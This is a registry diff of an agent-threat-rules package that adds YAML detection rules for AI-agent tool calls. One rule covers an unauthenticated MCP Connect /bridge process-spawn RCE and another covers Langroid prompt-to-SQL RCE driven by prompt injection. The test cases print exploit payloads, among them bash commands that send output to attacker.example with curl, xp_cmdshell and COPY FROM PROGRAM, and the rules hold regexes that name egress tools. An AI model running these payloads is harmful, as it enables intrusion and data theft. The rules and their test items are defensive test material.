agent-threat-rules 3.5.4 → 3.5.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (27) hide show
  1. package/README.md +1 -1
  2. package/dist/engine.d.ts +17 -0
  3. package/dist/engine.d.ts.map +1 -1
  4. package/dist/engine.js +127 -53
  5. package/dist/engine.js.map +1 -1
  6. package/dist/hook-handler.d.ts +25 -1
  7. package/dist/hook-handler.d.ts.map +1 -1
  8. package/dist/hook-handler.js +64 -2
  9. package/dist/hook-handler.js.map +1 -1
  10. package/package.json +2 -2
  11. package/rules/context-exfiltration/ATR-2026-01984-mcp-server-kubernetes-kubectl-generic-token-exfil.yaml +170 -0
  12. package/rules/privilege-escalation/ATR-2026-00111-shell-escape.yaml +19 -11
  13. package/rules/privilege-escalation/ATR-2026-01933-litellm-user-role-privilege-escalation-cve-2026-47102.yaml +160 -0
  14. package/rules/privilege-escalation/ATR-2026-01934-litellm-allowed-routes-authz-bypass-cve-2026-47101.yaml +161 -0
  15. package/rules/privilege-escalation/ATR-2026-01981-network-ai-approval-inbox-unauth-cors-bypass.yaml +152 -0
  16. package/rules/privilege-escalation/ATR-2026-01986-windows-mcp-unauth-http-powershell-cors.yaml +170 -0
  17. package/rules/skill-compromise/ATR-2026-00066-parameter-injection.yaml +2 -2
  18. package/rules/tool-poisoning/ATR-2026-00012-unauthorized-tool-call.yaml +3 -3
  19. package/rules/tool-poisoning/ATR-2026-00161-important-tag-cross-tool-shadowing.yaml +4 -3
  20. package/rules/tool-poisoning/ATR-2026-00581-mcp-tool-rug-pull-post-approval-redefinition.yaml +1 -0
  21. package/rules/tool-poisoning/ATR-2026-01932-shadow-undeclared-mcp-server-registration.yaml +1 -0
  22. package/rules/tool-poisoning/ATR-2026-01935-litellm-custom-code-sandbox-escape-cve-2026-40217.yaml +161 -0
  23. package/rules/tool-poisoning/ATR-2026-01980-agentic-flow-mcp-tool-param-command-injection.yaml +153 -0
  24. package/rules/tool-poisoning/ATR-2026-01982-dbt-mcp-node-selection-argument-injection.yaml +160 -0
  25. package/rules/tool-poisoning/ATR-2026-01983-mcp-for-stata-log-file-name-command-injection.yaml +170 -0
  26. package/rules/tool-poisoning/ATR-2026-01985-mcp-connect-bridge-unauth-process-spawn-rce.yaml +180 -0
  27. package/rules/tool-poisoning/ATR-2026-01987-langroid-sqlchatagent-prompt-to-sql-rce.yaml +165 -0
@@ -0,0 +1,180 @@
1
+ title: "MCP Connect: Unauthenticated /bridge Endpoint Arbitrary Process Spawn RCE (GHSA-wvr4-3wq4-gpc5)"
2
+ id: ATR-2026-01985
3
+ rule_version: 1
4
+ status: draft
5
+ description: >
6
+ Detects GHSA-wvr4-3wq4-gpc5 (CWE-306, CVSS critical): MCP Connect
7
+ (mcp-bridge) ships with AUTH_TOKEN/ACCESS_TOKEN unset by default, which
8
+ makes authToken an empty string and short-circuits the auth middleware in
9
+ src/server/http-server.ts (the guard is wrapped in `if (this.accessToken)`,
10
+ which is skipped when the token is falsy, so next() is always reached). The
11
+ unauthenticated POST /bridge endpoint then extracts serverPath and args
12
+ straight from the request body and passes them to
13
+ MCPClientManager.createClient(), which falls through to
14
+ StdioClientTransport for any value that is not an http(s)/ws(s) URL, using
15
+ serverPath as the executable command verbatim
16
+ (src/client/mcp-client-manager.ts lines 68-75). Any binary reachable on the
17
+ server's PATH (bash, sh, python, node, cmd, powershell, ...) can be
18
+ launched with attacker-controlled args, giving unauthenticated remote code
19
+ execution.
20
+
21
+ Detection covers:
22
+ (a) a POST /bridge request body whose serverPath names a shell/OS binary
23
+ (not an http(s)/ws(s) MCP server URL) combined with an args array —
24
+ the arbitrary-process-spawn shape;
25
+ (b) the PoC's chained shell-exec/exfiltration args pattern (-lc / -c
26
+ combined with a command separator and a network egress binary);
27
+ (c) explicit GHSA-wvr4-3wq4-gpc5 / mcp-bridge exploitation framing tied to
28
+ serverPath and /bridge.
29
+
30
+ A legitimate /bridge call whose serverPath is an http(s):// or ws(s)://
31
+ URL pointing at an actual MCP server does NOT match — that is the intended
32
+ StdioClientTransport bypass path, not the executable-spawn primitive.
33
+ author: "ATR Community"
34
+ date: "2026/07/04"
35
+ schema_version: "0.1"
36
+ detection_tier: pattern
37
+ maturity: test
38
+ severity: critical
39
+
40
+ references:
41
+ owasp_llm:
42
+ - "LLM06:2025 - Excessive Agency"
43
+ owasp_agentic:
44
+ - "ASI06:2026 - Tool Misuse"
45
+ mitre_atlas:
46
+ - "AML.T0049 - Exploit Public-Facing Application"
47
+ mitre_attack:
48
+ - "T1059 - Command and Scripting Interpreter"
49
+ cve:
50
+ - "GHSA-wvr4-3wq4-gpc5"
51
+
52
+ metadata_provenance:
53
+ mitre_atlas: human-reviewed
54
+ owasp_llm: human-reviewed
55
+ owasp_agentic: human-reviewed
56
+
57
+ compliance:
58
+ eu_ai_act:
59
+ - article: "15"
60
+ context: "Article 15 cybersecurity — runtime detection of MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
61
+ strength: primary
62
+ - article: "9"
63
+ context: "Article 9 risk management — runtime risk-treatment control for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
64
+ strength: secondary
65
+ nist_ai_rmf:
66
+ - subcategory: "MP.5.1"
67
+ context: "MAP 5.1 — adversarial input characterised/detected for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
68
+ strength: primary
69
+ - subcategory: "MG.3.2"
70
+ context: "MANAGE 3.2 — runtime monitoring control for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
71
+ strength: secondary
72
+ iso_42001:
73
+ - clause: "8.1"
74
+ context: "Clause 8.1 operational control — detection of MCP Connect /bridge unauthenticated process-spawn RCE payload."
75
+ strength: primary
76
+ - clause: "8.3"
77
+ context: "Clause 8.3 AI risk treatment — runtime detection as treatment control."
78
+ strength: secondary
79
+
80
+ tags:
81
+ category: tool-poisoning
82
+ subcategory: mcp-unauth-rce
83
+ scan_target: runtime
84
+ confidence: high
85
+ source: cve-disclosure
86
+ vendor_sources: mcp-connect-ghsa-wvr4-3wq4-gpc5
87
+
88
+ agent_source:
89
+ type: tool_call
90
+ framework:
91
+ - any
92
+ provider:
93
+ - any
94
+
95
+ detection:
96
+ condition: any
97
+ false_positives:
98
+ - "A legitimate /bridge call whose serverPath is an http(s):// or ws(s):// URL pointing at a real MCP server."
99
+ - "Security advisory or PR text quoting the GHSA-wvr4-3wq4-gpc5 PoC."
100
+ - "A /bridge request body with a serverPath field that is empty or omitted."
101
+ conditions:
102
+ - field: tool_args
103
+ operator: regex
104
+ value: '(?i)/bridge\b[\s\S]{0,200}["\x27]?serverPath["\x27]?\s*[:=]\s*["\x27]?(?:/bin/(?:ba)?sh|/usr/bin/(?:ba)?sh|\bbash\b|\bsh\b|\bcmd(?:\.exe)?\b|\bpowershell(?:\.exe)?\b|\bnode\b|\bpython3?\b|\bperl\b|\bruby\b)["\x27]?[\s\S]{0,120}["\x27]?args["\x27]?\s*[:=]'
105
+ description: >
106
+ A POST /bridge request body whose serverPath names a shell/OS
107
+ executable (bash, sh, cmd, powershell, node, python, perl, ruby)
108
+ rather than an MCP server URL, paired with an args field — the
109
+ CreateClient() arbitrary-process-spawn shape (GHSA-wvr4-3wq4-gpc5).
110
+ - field: tool_args
111
+ operator: regex
112
+ value: '(?i)["\x27]?serverPath["\x27]?\s*[:=]\s*["\x27]?(?:bash|sh)["\x27]?[\s\S]{0,80}["\x27]?args["\x27]?\s*[:=]\s*\[[\s\S]{0,120}["\x27](?:-lc|-c)["\x27][\s\S]{0,160}(?:;|&&|\|)[\s\S]{0,80}(?:\bcurl\b|\bwget\b|\bnc\b|\bncat\b|\bcat\b\s+/etc/passwd|\bwhoami\b)'
113
+ description: >
114
+ The PoC shape: serverPath=bash/sh with args=["-lc"/"-c", "<cmd1> ; or
115
+ && <exfil/recon command>"] — a chained shell command with a
116
+ network-egress or credential-recon binary launched via mcp-bridge's
117
+ unauthenticated StdioClientTransport fallback.
118
+ - field: tool_args
119
+ operator: regex
120
+ value: '(?i)GHSA-wvr4-3wq4-gpc5[\s\S]{0,200}(?:serverPath|/bridge|mcp-bridge|MCP Connect)'
121
+ description: >
122
+ Explicit GHSA-wvr4-3wq4-gpc5 reference combined with the vulnerable
123
+ serverPath parameter, /bridge endpoint, or mcp-bridge/MCP Connect
124
+ product name — attack framing in a skill or tool description.
125
+
126
+ response:
127
+ actions:
128
+ - alert
129
+ - block_tool
130
+ message_template: >
131
+ [ATR-2026-01985] CRITICAL: MCP Connect /bridge unauthenticated process-
132
+ spawn RCE detected (GHSA-wvr4-3wq4-gpc5, CWE-306). A /bridge request
133
+ body supplies a serverPath naming a shell/OS binary plus args, which
134
+ reaches StdioClientTransport unauthenticated and spawns an arbitrary
135
+ process as the mcp-bridge user. Block the request. Remediation: set
136
+ AUTH_TOKEN/ACCESS_TOKEN and fail startup when absent; restrict
137
+ serverPath to an allowlist of MCP server URLs/binaries.
138
+
139
+ confidence: 82
140
+
141
+ wild_fp_rate: 0
142
+
143
+ test_cases:
144
+ true_positives:
145
+ - tool_args: 'POST /bridge {"serverPath": "bash", "args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"], "method": "tools/list", "params": {}}'
146
+ expected: triggered
147
+ description: "GHSA-wvr4-3wq4-gpc5 PoC — unauthenticated /bridge spawns bash with exfiltration args"
148
+ - tool_args: 'POST /bridge {"serverPath": "/bin/sh", "args": ["-c", "whoami; curl http://attacker.example/beacon"], "method": "tools/list"}'
149
+ expected: triggered
150
+ description: "serverPath as absolute shell path with chained recon and network egress"
151
+ - tool_args: "Exploiting GHSA-wvr4-3wq4-gpc5 in MCP Connect: send a POST to /bridge with serverPath set to bash to achieve unauthenticated RCE."
152
+ expected: triggered
153
+ description: "Explicit GHSA-wvr4-3wq4-gpc5 mcp-bridge exploitation framing"
154
+ true_negatives:
155
+ - tool_args: 'POST /bridge {"serverPath": "https://mcp.example.com/server", "args": [], "method": "tools/list"}'
156
+ expected: not_triggered
157
+ description: "Legitimate /bridge call pointing serverPath at a real MCP server URL"
158
+ - tool_args: 'POST /bridge {"serverPath": "wss://mcp.example.com/ws", "method": "tools/list", "params": {}}'
159
+ expected: not_triggered
160
+ description: "Legitimate /bridge call using a websocket MCP server URL, no args field"
161
+ - tool_args: "How do I configure AUTH_TOKEN so the /bridge endpoint requires authentication?"
162
+ expected: not_triggered
163
+ description: "General question about securing the /bridge endpoint, not an attack payload"
164
+ - tool_args: 'GET /bridge/status'
165
+ expected: not_triggered
166
+ description: "Read-only status check on the bridge endpoint"
167
+ _llm_authored:
168
+ model: claude (gstack subagent)
169
+ generalization_note: >
170
+ The rule generalizes beyond the literal PoC by anchoring on the
171
+ structural shape of the vulnerability -- a /bridge request body whose
172
+ serverPath names an OS shell/interpreter binary (not an http(s)/ws(s)
173
+ MCP server URL) paired with an args field -- rather than the exact
174
+ attacker command string. Condition 2 narrows to the PoC's chained
175
+ shell-exec + exfiltration/recon pattern for higher-confidence matches.
176
+ Condition 3 catches advisory/exploit-framing text. Legitimate /bridge
177
+ traffic pointing at real MCP server URLs (http/https/ws/wss) is
178
+ excluded by construction since those values never match the
179
+ shell-binary alternation.
180
+ note: Generation-time LLM authoring; verified by deterministic gate. Runtime detection is pure regex. Human review required before merge.
@@ -0,0 +1,165 @@
1
+ title: "Langroid SQLChatAgent Prompt-to-SQL Remote Code Execution (CVE-2026-25879)"
2
+ id: ATR-2026-01987
3
+ rule_version: 1
4
+ status: draft
5
+ description: >
6
+ Detects CVE-2026-25879 (CWE-89, CWE-94): Langroid's SQLChatAgent executes
7
+ SQL statements produced by the LLM, which is itself influenceable by prompt
8
+ injection (including indirectly, via data later returned to the LLM). When
9
+ the configured database role has code-execution or filesystem privileges,
10
+ an attacker can coerce the LLM into emitting a dialect-specific dangerous
11
+ primitive — PostgreSQL `COPY ... FROM PROGRAM` / `pg_execute_server_program`,
12
+ MySQL `FILE` / `LOAD_FILE` / `INTO OUTFILE`, or MSSQL `xp_cmdshell` — which
13
+ the agent then executes verbatim via RunQueryTool, achieving remote code
14
+ execution or arbitrary file read/write on the database host. Affected:
15
+ langroid before 0.63.0 (allow_dangerous_operations=True restores the
16
+ unrestricted legacy behavior for trusted deployments).
17
+
18
+ Detection covers:
19
+ (a) LLM-generated SQL containing PostgreSQL COPY ... FROM PROGRAM or
20
+ pg_execute_server_program;
21
+ (b) MySQL LOAD_FILE / INTO OUTFILE / FILE-privilege file primitives;
22
+ (c) MSSQL xp_cmdshell invocation;
23
+ (d) explicit CVE-2026-25879 exploitation framing.
24
+
25
+ The detection target is the dialect-specific RCE/filesystem primitive
26
+ appearing in SQL that is about to be executed by the SQL agent — an
27
+ ordinary SELECT/INSERT/UPDATE statement, or a benign COPY FROM a file path
28
+ (not PROGRAM), does not fire.
29
+ author: "ATR Community"
30
+ date: "2026/07/04"
31
+ schema_version: "0.1"
32
+ detection_tier: pattern
33
+ maturity: test
34
+ severity: critical
35
+
36
+ references:
37
+ owasp_llm:
38
+ - "LLM01:2025 - Prompt Injection"
39
+ owasp_agentic:
40
+ - "ASI06:2026 - Tool Misuse"
41
+ mitre_atlas:
42
+ - "AML.T0053 - LLM Plugin Compromise"
43
+ mitre_attack:
44
+ - "T1059 - Command and Scripting Interpreter"
45
+ cve:
46
+ - "CVE-2026-25879"
47
+
48
+ metadata_provenance:
49
+ mitre_atlas: human-reviewed
50
+ owasp_llm: human-reviewed
51
+ owasp_agentic: human-reviewed
52
+
53
+ compliance:
54
+ eu_ai_act:
55
+ - { article: "15", context: "Article 15 cybersecurity — runtime detection of Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: primary }
56
+ - { article: "9", context: "Article 9 risk management — runtime risk-treatment control for Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: secondary }
57
+ nist_ai_rmf:
58
+ - { subcategory: "MP.5.1", context: "MAP 5.1 — adversarial input characterised/detected for Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: primary }
59
+ - { subcategory: "MG.3.2", context: "MANAGE 3.2 — runtime monitoring control for Langroid SQLChatAgent prompt-to-SQL remote code execution.", strength: secondary }
60
+ iso_42001:
61
+ - { clause: "8.1", context: "Clause 8.1 operational control — detection of Langroid SQLChatAgent prompt-to-SQL remote code execution payload.", strength: primary }
62
+ - { clause: "8.3", context: "Clause 8.3 AI risk treatment — runtime detection as treatment control.", strength: secondary }
63
+
64
+ tags:
65
+ category: tool-poisoning
66
+ subcategory: llm-generated-sql-rce
67
+ scan_target: llm_io
68
+ confidence: high
69
+ source: cve-disclosure
70
+ vendor_sources: langroid-cve-2026-25879
71
+
72
+ agent_source:
73
+ type: llm_io
74
+ framework:
75
+ - langroid
76
+ - any
77
+ provider:
78
+ - any
79
+
80
+ detection:
81
+ condition: any
82
+ false_positives:
83
+ - "A database administrator legitimately running COPY ... FROM PROGRAM or xp_cmdshell through a trusted, human-authored maintenance script — expected to match; review confirms intent."
84
+ - "Security advisory or PR text quoting the CVE-2026-25879 payload."
85
+ - "A benign SELECT, INSERT, or UPDATE statement generated by the SQL agent."
86
+ - "A benign COPY FROM a file path (not PROGRAM)."
87
+ conditions:
88
+ - field: content
89
+ operator: regex
90
+ value: '(?i)\bCOPY\b[\s\S]{0,120}\bFROM\s+PROGRAM\b'
91
+ description: >
92
+ PostgreSQL COPY ... FROM PROGRAM — executes an arbitrary OS command
93
+ via the database server process, the core CVE-2026-25879 RCE PoC
94
+ primitive (`COPY log(content) FROM PROGRAM 'id'`).
95
+ - field: content
96
+ operator: regex
97
+ value: '(?i)\bpg_execute_server_program\b'
98
+ description: >
99
+ PostgreSQL pg_execute_server_program primitive — equivalent
100
+ server-side command execution vector named in the advisory.
101
+ - field: content
102
+ operator: regex
103
+ value: '(?i)\bxp_cmdshell\b'
104
+ description: >
105
+ MSSQL xp_cmdshell — executes an arbitrary OS command via the
106
+ database server process, the MSSQL-dialect RCE primitive named in
107
+ the advisory.
108
+ - field: content
109
+ operator: regex
110
+ value: '(?i)\bINTO\s+OUTFILE\b'
111
+ description: >
112
+ MySQL SELECT ... INTO OUTFILE — writes arbitrary files to the
113
+ database host filesystem via a FILE-privileged connection, the
114
+ MySQL-dialect filesystem write primitive named in the advisory.
115
+ - field: content
116
+ operator: regex
117
+ value: '(?i)CVE-2026-25879[\s\S]{0,120}(?:langroid|sqlchatagent|prompt.{0,20}sql|rce|xp_cmdshell|from program)'
118
+ description: >
119
+ Explicit CVE-2026-25879 reference combined with Langroid
120
+ prompt-to-SQL RCE language — attack framing in a skill or tool
121
+ description.
122
+
123
+ response:
124
+ actions:
125
+ - alert
126
+ - block_input
127
+ message_template: >
128
+ [ATR-2026-01987] CRITICAL: Langroid SQLChatAgent prompt-to-SQL remote
129
+ code execution detected (CVE-2026-25879, CWE-89/CWE-94). LLM-generated
130
+ SQL contains a dialect-specific RCE/filesystem primitive
131
+ (COPY ... FROM PROGRAM / pg_execute_server_program / xp_cmdshell /
132
+ INTO OUTFILE). Block execution and upgrade langroid to
133
+ >= 0.63.0, or disable allow_dangerous_operations.
134
+
135
+ confidence: 85
136
+
137
+ wild_fp_rate: 0
138
+
139
+ test_cases:
140
+ true_positives:
141
+ - input: "DROP TABLE IF EXISTS log; CREATE TABLE log(content text); COPY log(content) FROM PROGRAM 'id'; SELECT * FROM log;"
142
+ expected: triggered
143
+ description: "PostgreSQL COPY FROM PROGRAM RCE payload from the CVE-2026-25879 PoC"
144
+ - input: "SELECT pg_execute_server_program('id')"
145
+ expected: triggered
146
+ description: "PostgreSQL pg_execute_server_program RCE primitive"
147
+ - input: "EXEC xp_cmdshell 'whoami'"
148
+ expected: triggered
149
+ description: "MSSQL xp_cmdshell RCE primitive"
150
+ - input: "SELECT id, name FROM staff INTO OUTFILE '/var/www/html/shell.php'"
151
+ expected: triggered
152
+ description: "MySQL SELECT ... INTO OUTFILE filesystem-write primitive"
153
+ true_negatives:
154
+ - input: "SELECT * FROM users WHERE id = 42"
155
+ expected: not_triggered
156
+ description: "Ordinary benign SELECT statement generated by the SQL agent"
157
+ - input: "COPY log(content) FROM '/data/import.csv' WITH (FORMAT csv)"
158
+ expected: not_triggered
159
+ description: "Benign COPY FROM a file path, not PROGRAM"
160
+ - input: "INSERT INTO orders (customer_id, total) VALUES (7, 199.99)"
161
+ expected: not_triggered
162
+ description: "Ordinary benign INSERT statement generated by the SQL agent"
163
+ - input: "How does Langroid's SQLChatAgent turn a natural-language question into SQL?"
164
+ expected: not_triggered
165
+ description: "General question about SQLChatAgent, not an executable SQL payload"